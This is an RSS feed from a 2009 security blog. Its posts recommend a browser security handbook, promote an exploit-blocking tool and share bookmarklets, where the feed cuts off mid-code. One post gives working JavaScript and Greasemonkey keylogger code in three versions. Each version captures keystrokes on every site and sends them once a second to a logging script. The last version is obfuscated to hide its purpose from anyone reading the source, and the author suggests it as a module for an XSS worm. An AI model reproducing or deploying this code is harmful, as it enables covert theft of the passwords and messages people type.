<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>insanesecurity &#187; Firefox</title>
	<atom:link href="http://insanesecurity.info/blog/tag/firefox/feed" rel="self" type="application/rss+xml" />
	<link>http://insanesecurity.info/blog</link>
	<description>security through a distorted eye</description>
	<lastBuildDate>Thu, 25 Feb 2010 22:31:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Browser Security Handbook</title>
		<link>http://insanesecurity.info/blog/browser-security-handbook</link>
		<comments>http://insanesecurity.info/blog/browser-security-handbook#comments</comments>
		<pubDate>Wed, 24 Jun 2009 17:02:07 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Books]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[Opera]]></category>
		<category><![CDATA[Safari]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=81</guid>
		<description><![CDATA[Recently after moving the blog to this self-hosted platform I decided to cleanup a bit my feed reader&#8230; you know, add some, delete some. And while searching for blogs to subscribe to I came across Michal Zalewski&#8217;s website searching for a feed. Unfortunately didn&#8217;t find a feed, but did find his newest project&#8230; The Browser [...]]]></description>
			<content:encoded><![CDATA[<p>Recently after moving the blog to this self-hosted platform I decided to cleanup a bit my feed reader&#8230; you know, add some, delete some. And while searching for blogs to subscribe to I came across <a href="http://lcamtuf.coredump.cx/">Michal Zalewski&#8217;s website</a> searching for a feed. Unfortunately didn&#8217;t find a feed, but did find his newest project&#8230;</p>
<p><span id="more-81"></span></p>
<p>
The <a href="http://code.google.com/p/browsersec/wiki/Main">Browser Security Handbook</a> is a free online book covering information related to web browsers like: IE6, IE7, FF2, FF3, Opera, Chrome, Safari and Android. The book covers material from url schemas, http protocol, DOM, up to same-origin policy.</p>
<p>Being a comprehensive document about browsers it&#8217;s a book that I would recommend security testers, as well to website developers. I wouldn&#8217;t be amazed if it where a reference lecture upon browsers in the years to follow.</p>
<p>If you are here you might as well check other published material from Michal Zalewski: <a href="http://lcamtuf.coredump.cx/worm.txt">&#8220;I don&#8217;t think I really love you&#8221;</a> (first Zalewski material I ever read), <a href="http://lcamtuf.coredump.cx/tmp_paper.txt">Absence of fd-based unlink()</a>, <a href="http://lcamtuf.coredump.cx/signals.txt">&#8220;Delivering signals for Fun and Profit&#8221;</a>, <a href="http://artofhacking.com/files/phrack/phrack57/P57-0X0A.TXT">Rise of the Robots</a>, <a href="http://lcamtuf.coredump.cx/juggling_with_packets.txt">Juggling with packets</a>, <a href="http://lcamtuf.coredump.cx/ipfrag.txt">IP Fragmentation</a> and <a href="http://lcamtuf.coredump.cx/strikeout/">&#8220;Strike that out, SAM&#8221;</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/browser-security-handbook/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Javascript/Userscript Keylogger</title>
		<link>http://insanesecurity.info/blog/javascriptuserscript-keylogger</link>
		<comments>http://insanesecurity.info/blog/javascriptuserscript-keylogger#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:37:42 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Userscript]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=63</guid>
		<description><![CDATA[Some days ago while I was writing the (traffic magnet) article HYGHAAZG and mentioned the keylogger, instantly it came to mind a userscript one. Googled a bit, but didn&#8217;t seem to find any (quite amazed)&#8230; Having some time at hands today, I decided to make one myself. Basically I made it under three steps (was [...]]]></description>
			<content:encoded><![CDATA[<p>Some days ago while I was writing the (traffic magnet) article <del><a href="http://insanesecurity.info/2009/01/hacking-yahoogmailhotmail-accounts-a-z-guide/">HYGHAAZG</a></del> and mentioned the keylogger, instantly it came to mind a userscript one. Googled a bit, but didn&#8217;t seem to find any (quite amazed)&#8230;</p>
<p><span id="more-63"></span></p>
<p>
Having some time at hands today, I decided to make one myself. Basically I made it under three steps (was specially thought for a post). First of all this was the starting point of it, a.k.a. typical javascript keylogger:</p>
<pre>
var keys='';
document.onkeypress = function(e) {
	get = window.event?event:e;
	key = get.keyCode?get.keyCode:get.charCode;
	key = String.fromCharCode(key);
	keys+=key;
}
window.setInterval(function(){
	new Image().src = 'http://localhost/junkylogger.php?keys='+keys;
	keys = '';
}, 1000);
</pre>
<p>As you can see from the code a javascript keylogger is quite simple. Attach a function to the key pressing event, extract the character (the code of it) in the event and save it into a variable. Also declare a function (within an interval) that will send the logged keys to the backend which will save it into file/database.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script></p>
<p><script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>As malefic as it seems you should be real lucky to succeed in using it as a relevant keylogger. It would be a good module in an XSS worm.  Wanting more from a keylogger, I moved onward to GreaseMonkey which allows me to have a functional keylogger on every website I wish. Most of it it&#8217;s the same, difference is that I used <a href="http://diveintogreasemonkey.org/api/gm_setvalue.html">GM_setValue</a>/<a href="http://diveintogreasemonkey.org/api/gm_getvalue.html">GM_getValue</a> for storing the keys and had to use <a href="http://wiki.greasespot.net/UnsafeWindow">unsafeWindow</a> for accesing the key pressing event.</p>
<pre>
GM_setValue('keys', '');
unsafeWindow.onkeypress = function(e) {
	eventobj = window.event?event:e;
	key = eventobj.keyCode?eventobj.keyCode:eventobj.charCode;
	keys = GM_getValue('keys');
	keys+= String.fromCharCode(key);
	GM_setValue('keys', keys);
}

window.setInterval(function(){
	new Image().src = 'http://localhost/junkylogger.php?keys='+GM_getValue('keys');
	GM_setValue('keys', '');
}, 1000);
</pre>
<p><del><a href="http://insanesecurity.info/projects/keylogger/junkylogger.user.js">download/install/view</a></del></p>
<p>The next step was to give it a more obfuscated look, just to give a harder life to all those who understand Javascript to the minimum and take a look at the source of the script.</p>
<pre>
window.wrap = window;
wrap.strf = String.fromCharCode;
wrap.wind = strf(117,110,115,97,102,101,87,105,110,100,111,119);
wrap.ev   = strf(111, 110, 107, 101, 121, 112, 114, 101, 115, 115);
GM_setValue('q','');
Function('func', wind+"."+ev+" = func")(function(e) {
	e=window.event?window.event:e;
	k=e.charCode?e.charCode:e.keyCode;
	k=GM_getValue('q')+strf(k);
	GM_setValue('q', k);
});
wrap.loc = strf(104, 116, 116, 112, 58, 47, 47, 108, 111, 99, 97, 108, 104);
wrap.loc+= strf(111, 115, 116, 47, 106, 117, 110, 107, 121, 108, 111, 103, 103, 101);
wrap.loc+= strf(114, 46, 112, 104, 112, 63, 107, 101, 121, 115, 61);
window.setInterval(function(){new Image().src=wrap.loc+GM_getValue('q');GM_setValue('q','')},1000);
</pre>
<p><del><a href="http://insanesecurity.info/projects/keylogger/junkylogger-final.user.js">download/install/view</a></del></p>
<p>No, by downloading this you won&#8217;t have all your keystrokes logged (unless someone hacked the server and replaced it) because for testing I&#8217;ve used a php file on my localhost for logging, and that remained in the examples also.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>If you are new at Javascript/Userscripts the following links may be helpful to you: <a href="http://diveintogreasemonkey.org/">Dive Into GreaseMonkey</a>, <a href="http://wiki.greasespot.net/Main_Page">GreaseSpot</a> and <a href="http://www.free-itebooks.com/free-ebooks-javascript/">Javascript eBooks</a>. And yes Userscripts are also available for IE/Opera&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/javascriptuserscript-keylogger/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Exploit Shield</title>
		<link>http://insanesecurity.info/blog/exploit-shield</link>
		<comments>http://insanesecurity.info/blog/exploit-shield#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:35:20 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[AV]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[Malware]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/exploit-shield</guid>
		<description><![CDATA[An exploit (from the same word in the French language, meaning &#8220;achievement&#8221;, or &#8220;accomplishment&#8221;) is a piece of software, a chunk of data, or sequence of commands that take advantage of a bug, glitch or vulnerability in order to cause unintended or unanticipated behavior to occur on computer software, hardware, or something electronic (usually computerized). [...]]]></description>
			<content:encoded><![CDATA[<p>An exploit (from the same word in the French language, meaning &#8220;achievement&#8221;, or &#8220;accomplishment&#8221;) is a piece of software, a chunk of data, or sequence of commands that take advantage of a bug, glitch or vulnerability in order to cause unintended or unanticipated behavior to occur on computer software, hardware, or something electronic (usually computerized). This frequently includes such things as violently gaining control of a computer system or allowing privilege escalation or a denial of service attack. (<a href="http://en.wikipedia.org/wiki/Exploit_(computer_security)">Wikipedia</a>)</p>
<p><span id="more-62"></span></p>
<p>
Eleven days ago Microsoft did a disclosure on the <a href="http://www.microsoft.com/technet/security/Bulletin/MS09-002.mspx">MS09-002</a>. Seven days later we already had a <a href="http://isc.sans.org/diary.html?storyid=5884">proof of concept</a> that was used in the wild, and today having even the <a href="http://thewifihack.com/blog/?p=343">Metasploit exploit</a>.</p>
<p>Eleven days have passed, did you patch the vulnerability? Most of the users will not have it patched too soon, even if it comes with the automatic updates. Many just simply have automatic updates turned off. Even so, there are some patches which take a long time to be released, for example the <a href="http://www.microsoft.com/technet/security/bulletin/ms08-078.mspx">MS08-078</a> patch did take a while to be released.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script></p>
<p><script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>And here comes in <a href="http://www.f-secure.com/weblog/archives/00001607.html">Exploit Shield</a> an application which will protect your from browser based exploits (either IE or Firefox), but don&#8217;t over trust it, as soon as a patch comes out you should fix the vulnerability.</p>
<blockquote><p>Exploit Shield is designed to shield Web browsers between the development of an exploit and the release of the vendor&#8217;s patch.</p>
</blockquote>
<p>Exploit Shield posses the following functionality: Zero Day Defense, Patch-Equivalent Protection, Proactive Measures, Protects Against All Websites and Automatic Feedback.</p>
<p>But does it work? Of course it does, check out the <a href="http://www.f-secure.com/weblog/archives/00001608.html">detection of a MS09-002 based exploit</a> which was catched by the heuristics incorporated in the software.</p>
<p>It&#8217;s also a program that would be useful when researching/coding such exploits, although the automatic submission should be disabled in that case (*grin*).</p>
<p>If you haven&#8217;t got it yet, you can download it from <a href="http://support.f-secure.com/beta/estp/estp.shtml">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/exploit-shield/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bookmarklets</title>
		<link>http://insanesecurity.info/blog/bookmarklets</link>
		<comments>http://insanesecurity.info/blog/bookmarklets#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:33:59 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=41</guid>
		<description><![CDATA[A bookmarklet is an applet, a small computer application, stored as the URL of a bookmark in a web browser or as a hyperlink on a web page. The term is a portmanteau of the terms bookmark and applet. Whether bookmarklet utilities are stored as bookmarks or hyperlinks, they are designed to add one-click functionality [...]]]></description>
			<content:encoded><![CDATA[<p>A bookmarklet is an applet, a small computer application, stored as the URL of a bookmark in a web browser or as a hyperlink on a web page. The term is a portmanteau of the terms bookmark and applet. Whether bookmarklet utilities are stored as bookmarks or hyperlinks, they are designed to add one-click functionality to a browser or web page. When clicked, a bookmarklet performs some function, one of a wide variety such as a search query or data extraction. Usually the applet is a JavaScript program. (<a href="http://en.wikipedia.org/wiki/Bookmarklets">Wikipedia</a>)</p>
<p><span id="more-41"></span><br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>Over the pass time I have collected a bunch of interesting bookmarklets, from which a couple are security oriented, more or less, and which I&#8217;d like to share with you.</p>
<p><a href="javascript:with(window.open(&quot;&quot;,&quot;_blank&quot;,&quot;width=&quot;+screen.width*.6+&quot;,left=&quot;+screen.width*.35+&quot;,height=&quot;+screen.height*.9+&quot;,resizable,scrollbars=yes&quot;)){document.write(&quot;&lt;!DOCTYPE HTML PUBLIC \&quot;-//W3C//DTD HTML 4.01//EN\&quot; \&quot;http://www.w3.org/TR/html4/strict.dtd\&quot;&gt;\n\n&lt;html onclick=\&quot;keepFocusInTextbox(event)\&quot;&gt;\n&lt;head&gt;\n&lt;meta http-equiv=\&quot;Content-Type\&quot; content=\&quot;text/html; charset=iso-8859-1\&quot;&gt;\n&lt;title&gt;JavaScript Shell 1.4&lt;/title&gt;\n\n&lt;script type=\&quot;text/javascript\&quot;&gt;\nvar \nhistList = [\&quot;\&quot;], \nhistPos = 0, \n_scope = {}, \n_win, // a top-level context\nquestion,\n_in,\n_out,\ntooManyMatches = null,\nlastError = null;\n\nfunction refocus()\n{\n  _in.blur(); // Needed for Mozilla to scroll correctly.\n  _in.focus();\n}\n\nfunction init()\n{\n  _in = document.getElementById(\&quot;input\&quot;);\n  _out = document.getElementById(\&quot;output\&quot;);\n\n  _win = window;\n\n  if (opener &amp;&amp; !opener.closed)\n  {\n    println(\&quot;Using bookmarklet version of shell: commands will run in opener's context.\&quot;, \&quot;message\&quot;);\n    _win = opener;\n  }\n\n  initTarget();\n\n  recalculateInputHeight();\n  refocus();\n}\n\nfunction initTarget()\n{\n  _win.Shell = window;\n  _win.print = shellCommands.print;\n}\n\n\n// Unless the user is selected something, refocus the textbox.\n// (requested by caillon, brendan, asa)\nfunction keepFocusInTextbox(e) \n{\n  var g = e.srcElement ? e.srcElement : e.target; // IE vs. standard\n  \n  while (!g.tagName)\n    g = g.parentNode;\n  var t = g.tagName.toUpperCase();\n  if (t==\&quot;A\&quot; || t==\&quot;INPUT\&quot;)\n    return;\n    \n  if (window.getSelection) {\n    // Mozilla\n    if (String(window.getSelection()))\n      return;\n  }\n  else if (document.getSelection) {\n    // Opera? Netscape 4?\n    if (document.getSelection())\n      return;\n  }\n  else {\n    // IE\n    if ( document.selection.createRange().text )\n      return;\n  }\n  \n  refocus();\n}\n\nfunction inputKeydown(e) {\n  // Use onkeydown because IE doesn't support onkeypress for arrow keys\n\n  //alert(e.keyCode + \&quot; ^ \&quot; + e.keycode);\n\n  if (e.shiftKey &amp;&amp; e.keyCode == 13) { // shift-enter\n    // don't do anything; allow the shift-enter to insert a line break as normal\n  } else if (e.keyCode == 13) { // enter\n    // execute the input on enter\n    try { go(); } catch(er) { alert(er); };\n    setTimeout(function() { _in.value = \&quot;\&quot;; }, 0); // can't preventDefault on input, so clear it later\n  } else if (e.keyCode == 38) { // up\n    // go up in history if at top or ctrl-up\n    if (e.ctrlKey || caretInFirstLine(_in))\n      hist(true);\n  } else if (e.keyCode == 40) { // down\n    // go down in history if at end or ctrl-down\n    if (e.ctrlKey || caretInLastLine(_in))\n      hist(false);\n  } else if (e.keyCode == 9) { // tab\n    tabcomplete();\n    setTimeout(function() { refocus(); }, 0); // refocus because tab was hit\n  } else { }\n\n  setTimeout(recalculateInputHeight, 0);\n  \n  //return true;\n};\n\nfunction caretInFirstLine(textbox)\n{\n  // IE doesn't support selectionStart/selectionEnd\n  if (textbox.selectionStart == undefined)\n    return true;\n\n  var firstLineBreak = textbox.value.indexOf(\&quot;\\n\&quot;);\n  \n  return ((firstLineBreak == -1) || (textbox.selectionStart &lt;= firstLineBreak));\n}\n\nfunction caretInLastLine(textbox)\n{\n  // IE doesn't support selectionStart/selectionEnd\n  if (textbox.selectionEnd == undefined)\n    return true;\n\n  var lastLineBreak = textbox.value.lastIndexOf(\&quot;\\n\&quot;);\n  \n  return (textbox.selectionEnd &gt; lastLineBreak);\n}\n\nfunction recalculateInputHeight()\n{\n  var rows = _in.value.split(/\\n/).length\n    + 1 // prevent scrollbar flickering in Mozilla\n    + (window.opera ? 1 : 0); // leave room for scrollbar in Opera\n  \n  if (_in.rows != rows) // without this check, it is impossible to select text in Opera 7.60 or Opera 8.0.\n    _in.rows = rows;\n}\n\nfunction println(s, type)\n{\n  if((s=String(s)))\n  {\n    var newdiv = document.createElement(\&quot;div\&quot;);\n    newdiv.appendChild(document.createTextNode(s));\n    newdiv.className = type;\n    _out.appendChild(newdiv);\n    return newdiv;\n  }\n}\n\nfunction printWithRunin(h, s, type)\n{\n  var div = println(s, type);\n  var head = document.createElement(\&quot;strong\&quot;);\n  head.appendChild(document.createTextNode(h + \&quot;: \&quot;));\n  div.insertBefore(head, div.firstChild);\n}\n\n\nvar shellCommands = \n{\nload : function load(url)\n{\n  var s = _win.document.createElement(\&quot;script\&quot;);\n  s.type = \&quot;text/javascript\&quot;;\n  s.src = url;\n  _win.document.getElementsByTagName(\&quot;head\&quot;)[0].appendChild(s);\n  println(\&quot;Loading \&quot; + url + \&quot;...\&quot;, \&quot;message\&quot;);\n},\n\nclear : function clear()\n{\n  var CHILDREN_TO_PRESERVE = 3;\n  while (_out.childNodes[CHILDREN_TO_PRESERVE]) \n    _out.removeChild(_out.childNodes[CHILDREN_TO_PRESERVE]);\n},\n\nprint : function print(s) { println(s, \&quot;print\&quot;); },\n\n// the normal function, \&quot;print\&quot;, shouldn't return a value\n// (suggested by brendan; later noticed it was a problem when showing others)\npr : function pr(s) \n{ \n  shellCommands.print(s); // need to specify shellCommands so it doesn't try window.print()!\n  return s;\n},\n\nprops : function props(e, onePerLine)\n{\n  if (e === null) {\n    println(\&quot;props called with null argument\&quot;, \&quot;error\&quot;);\n    return;\n  }\n\n  if (e === undefined) {\n    println(\&quot;props called with undefined argument\&quot;, \&quot;error\&quot;);\n    return;\n  }\n\n  var ns = [\&quot;Methods\&quot;, \&quot;Fields\&quot;, \&quot;Unreachables\&quot;];\n  var as = [[], [], []]; // array of (empty) arrays of arrays!\n  var p, j, i; // loop variables, several used multiple times\n\n  var protoLevels = 0;\n\n  for (p = e; p; p = p.__proto__)\n  {\n    for (i=0; i&lt;ns.length; ++i)\n      as[i][protoLevels] = [];\n    ++protoLevels;\n  }\n\n  for(var a in e)\n  {\n    // Shortcoming: doesn't check that VALUES are the same in object and prototype.\n\n    var protoLevel = -1;\n    try\n    {\n      for (p = e; p &amp;&amp; (a in p); p = p.__proto__)\n        ++protoLevel;\n    }\n    catch(er) { protoLevel = 0; } // \&quot;in\&quot; operator throws when param to props() is a string\n\n    var type = 1;\n    try\n    {\n      if ((typeof e[a]) == \&quot;function\&quot;)\n        type = 0;\n    }\n    catch (er) { type = 2; }\n\n    as[type][protoLevel].push(a);\n  }\n\n  function times(s, n) { return n ? s + times(s, n-1) : \&quot;\&quot;; }\n\n  for (j=0; j&lt;protoLevels; ++j)\n    for (i=0;i&lt;ns.length;++i)\n      if (as[i][j].length) \n        printWithRunin(\n          ns[i] + times(\&quot; of prototype\&quot;, j), \n          (onePerLine ? \&quot;\\n\\n\&quot; : \&quot;\&quot;) + as[i][j].sort().join(onePerLine ? \&quot;\\n\&quot; : \&quot;, \&quot;) + (onePerLine ? \&quot;\\n\\n\&quot; : \&quot;\&quot;), \n          \&quot;propList\&quot;\n        );\n},\n\nblink : function blink(node)\n{\n  if (!node)                     throw(\&quot;blink: argument is null or undefined.\&quot;);\n  if (node.nodeType == null)     throw(\&quot;blink: argument must be a node.\&quot;);\n  if (node.nodeType == 3)        throw(\&quot;blink: argument must not be a text node\&quot;);\n  if (node.documentElement)      throw(\&quot;blink: argument must not be the document object\&quot;);\n\n  function setOutline(o) { \n    return function() {\n      if (node.style.outline != node.style.bogusProperty) {\n        // browser supports outline (Firefox 1.1 and newer, CSS3, Opera 8).\n        node.style.outline = o;\n      }\n      else if (node.style.MozOutline != node.style.bogusProperty) {\n        // browser supports MozOutline (Firefox 1.0.x and older)\n        node.style.MozOutline = o;\n      }\n      else {\n        // browser only supports border (IE). border is a fallback because it moves things around.\n        node.style.border = o;\n      }\n    }\n  } \n  \n  function focusIt(a) {\n    return function() {\n      a.focus(); \n    }\n  }\n\n  if (node.ownerDocument) {\n    var windowToFocusNow = (node.ownerDocument.defaultView || node.ownerDocument.parentWindow); // Moz vs. IE\n    if (windowToFocusNow)\n      setTimeout(focusIt(windowToFocusNow.top), 0);\n  }\n\n  for(var i=1;i&lt;7;++i)\n    setTimeout(setOutline((i%252)?'3px solid red':'none'), i*100);\n\n  setTimeout(focusIt(window), 800);\n  setTimeout(focusIt(_in), 810);\n},\n\nscope : function scope(sc)\n{\n  if (!sc) sc = {};\n  _scope = sc;\n  println(\&quot;Scope is now \&quot; + sc + \&quot;.  If a variable is not found in this scope, window will also be searched.  New variables will still go on window.\&quot;, \&quot;message\&quot;);\n},\n\nmathHelp : function mathHelp()\n{\n  printWithRunin(\&quot;Math constants\&quot;, \&quot;E, LN2, LN10, LOG2E, LOG10E, PI, SQRT1_2, SQRT2\&quot;, \&quot;propList\&quot;);\n  printWithRunin(\&quot;Math methods\&quot;, \&quot;abs, acos, asin, atan, atan2, ceil, cos, exp, floor, log, max, min, pow, random, round, sin, sqrt, tan\&quot;, \&quot;propList\&quot;);\n},\n\nans : undefined\n};\n\n\nfunction hist(up)\n{\n  // histList[0] = first command entered, [1] = second, etc.\n  // type something, press up --&gt; thing typed is now in \&quot;limbo\&quot;\n  // (last item in histList) and should be reachable by pressing \n  // down again.\n\n  var L = histList.length;\n\n  if (L == 1)\n    return;\n\n  if (up)\n  {\n    if (histPos == L-1)\n    {\n      // Save this entry in case the user hits the down key.\n      histList[histPos] = _in.value;\n    }\n\n    if (histPos &gt; 0)\n    {\n      histPos--;\n      // Use a timeout to prevent up from moving cursor within new text\n      // Set to nothing first for the same reason\n      setTimeout(\n        function() {\n          _in.value = ''; \n          _in.value = histList[histPos];\n          var caretPos = _in.value.length;\n          if (_in.setSelectionRange) \n            _in.setSelectionRange(caretPos, caretPos);\n        },\n        0\n      );\n    }\n  } \n  else // down\n  {\n    if (histPos &lt; L-1)\n    {\n      histPos++;\n      _in.value = histList[histPos];\n    }\n    else if (histPos == L-1)\n    {\n      // Already on the current entry: clear but save\n      if (_in.value)\n      {\n        histList[histPos] = _in.value;\n        ++histPos;\n        _in.value = \&quot;\&quot;;\n      }\n    }\n  }\n}\n\nfunction tabcomplete()\n{\n  /*\n   * Working backwards from s[from], find the spot\n   * where this expression starts.  It will scan\n   * until it hits a mismatched ( or a space,\n   * but it skips over quoted strings.\n   * If stopAtDot is true, stop at a '.'\n   */\n  function findbeginning(s, from, stopAtDot)\n  {\n    /*\n     *  Complicated function.\n     *\n     *  Return true if s[i] == q BUT ONLY IF\n     *  s[i-1] is not a backslash.\n     */\n    function equalButNotEscaped(s,i,q)\n    {\n      if(s.charAt(i) != q) // not equal go no further\n        return false;\n\n      if(i==0) // beginning of string\n        return true;\n\n      if(s.charAt(i-1) == '\\\\') // escaped?\n        return false;\n\n      return true;\n    }\n\n    var nparens = 0;\n    var i;\n    for(i=from; i&gt;=0; i--)\n    {\n      if(s.charAt(i) == ' ')\n        break;\n\n      if(stopAtDot &amp;&amp; s.charAt(i) == '.')\n        break;\n        \n      if(s.charAt(i) == ')')\n        nparens++;\n      else if(s.charAt(i) == '(')\n        nparens--;\n\n      if(nparens &lt; 0)\n        break;\n\n      // skip quoted strings\n      if(s.charAt(i) == '\\'' || s.charAt(i) == '\\\&quot;')\n      {\n        //dump(\&quot;skipping quoted chars: \&quot;);\n        var quot = s.charAt(i);\n        i--;\n        while(i &gt;= 0 &amp;&amp; !equalButNotEscaped(s,i,quot)) {\n          //dump(s.charAt(i));\n          i--;\n        }\n        //dump(\&quot;\\n\&quot;);\n      }\n    }\n    return i;\n  }\n\n  // XXX should be used more consistently (instead of using selectionStart/selectionEnd throughout code)\n  // XXX doesn't work in IE, even though it contains IE-specific code\n  function getcaretpos(inp)\n  {\n    if(inp.selectionEnd != null)\n      return inp.selectionEnd;\n      \n    if(inp.createTextRange)\n    {\n      var docrange = _win.Shell.document.selection.createRange();\n      var inprange = inp.createTextRange();\n      if (inprange.setEndPoint)\n      {\n        inprange.setEndPoint('EndToStart', docrange);\n        return inprange.text.length;\n      }\n    }\n\n    return inp.value.length; // sucks, punt\n  }\n\n  function setselectionto(inp,pos)\n  {\n    if(inp.selectionStart) {\n      inp.selectionStart = inp.selectionEnd = pos;\n    }\n    else if(inp.createTextRange) {\n      var docrange = _win.Shell.document.selection.createRange();\n      var inprange = inp.createTextRange();\n      inprange.move('character',pos);\n      inprange.select();\n    }\n    else { // err...\n    /*\n      inp.select();\n      if(_win.Shell.document.getSelection())\n        _win.Shell.document.getSelection() = \&quot;\&quot;;\n        */\n    }\n  }\n    // get position of cursor within the input box\n    var caret = getcaretpos(_in);\n\n    if(caret) {\n      //dump(\&quot;----\\n\&quot;);\n      var dotpos, spacepos, complete, obj;\n      //dump(\&quot;caret pos: \&quot; + caret + \&quot;\\n\&quot;);\n      // see if there's a dot before here\n      dotpos = findbeginning(_in.value, caret-1, true);\n      //dump(\&quot;dot pos: \&quot; + dotpos + \&quot;\\n\&quot;);\n      if(dotpos == -1 || _in.value.charAt(dotpos) != '.') {\n        dotpos = caret;\n//dump(\&quot;changed dot pos: \&quot; + dotpos + \&quot;\\n\&quot;);\n      }\n\n      // look backwards for a non-variable-name character\n      spacepos = findbeginning(_in.value, dotpos-1, false);\n      //dump(\&quot;space pos: \&quot; + spacepos + \&quot;\\n\&quot;);\n      // get the object we're trying to complete on\n      if(spacepos == dotpos || spacepos+1 == dotpos || dotpos == caret)\n      {\n        // try completing function args\n        if(_in.value.charAt(dotpos) == '(' ||\n (_in.value.charAt(spacepos) == '(' &amp;&amp; (spacepos+1) == dotpos))\n        {\n          var fn,fname;\n  var from = (_in.value.charAt(dotpos) == '(') ? dotpos : spacepos;\n          spacepos = findbeginning(_in.value, from-1, false);\n\n          fname = _in.value.substr(spacepos+1,from-(spacepos+1));\n  //dump(\&quot;fname: \&quot; + fname + \&quot;\\n\&quot;);\n          try {\n            with(_win.Shell._scope)\n              with(_win)\n                with(Shell.shellCommands)\n                  fn = eval(fname);\n          }\n          catch(er) {\n            //dump('fn is not a valid object\\n');\n            return;\n          }\n          if(fn == undefined) {\n             //dump('fn is undefined');\n             return;\n          }\n          if(fn instanceof Function)\n          {\n            // Print function definition, including argument names, but not function body\n            if(!fn.toString().match(/function .+?\\(\\) +\\{\\n +\\[native code\\]\\n\\}/))\n              println(fn.toString().match(/function .+?\\(.*?\\)/), \&quot;tabcomplete\&quot;);\n          }\n\n          return;\n        }\n        else\n          obj = _win;\n      }\n      else\n      {\n        var objname = _in.value.substr(spacepos+1,dotpos-(spacepos+1));\n        //dump(\&quot;objname: |\&quot; + objname + \&quot;|\\n\&quot;);\n        try {\n          with(_win.Shell._scope)\n            with(_win)\n                obj = eval(objname);\n        }\n        catch(er) {\n          printError(er); \n          return;\n        }\n        if(obj == undefined) {\n          // sometimes this is tabcomplete's fault, so don't print it :(\n          // e.g. completing from \&quot;print(document.getElements\&quot;\n          // println(\&quot;Can't complete from null or undefined expression \&quot; + objname, \&quot;error\&quot;);\n          return;\n        }\n      }\n      //dump(\&quot;obj: \&quot; + obj + \&quot;\\n\&quot;);\n      // get the thing we're trying to complete\n      if(dotpos == caret)\n      {\n        if(spacepos+1 == dotpos || spacepos == dotpos)\n        {\n          // nothing to complete\n          //dump(\&quot;nothing to complete\\n\&quot;);\n          return;\n        }\n\n        complete = _in.value.substr(spacepos+1,dotpos-(spacepos+1));\n      }\n      else {\n        complete = _in.value.substr(dotpos+1,caret-(dotpos+1));\n      }\n      //dump(\&quot;complete: \&quot; + complete + \&quot;\\n\&quot;);\n      // ok, now look at all the props/methods of this obj\n      // and find ones starting with 'complete'\n      var matches = [];\n      var bestmatch = null;\n      for(var a in obj)\n      {\n        //a = a.toString();\n        //XXX: making it lowercase could help some cases,\n        // but screws up my general logic.\n        if(a.substr(0,complete.length) == complete) {\n          matches.push(a);\n          ////dump(\&quot;match: \&quot; + a + \&quot;\\n\&quot;);\n          // if no best match, this is the best match\n          if(bestmatch == null)\n          {\n            bestmatch = a;\n          }\n          else {\n            // the best match is the longest common string\n            function min(a,b){ return ((a&lt;b)?a:b); }\n            var i;\n            for(i=0; i&lt; min(bestmatch.length, a.length); i++)\n            {\n              if(bestmatch.charAt(i) != a.charAt(i))\n                break;\n            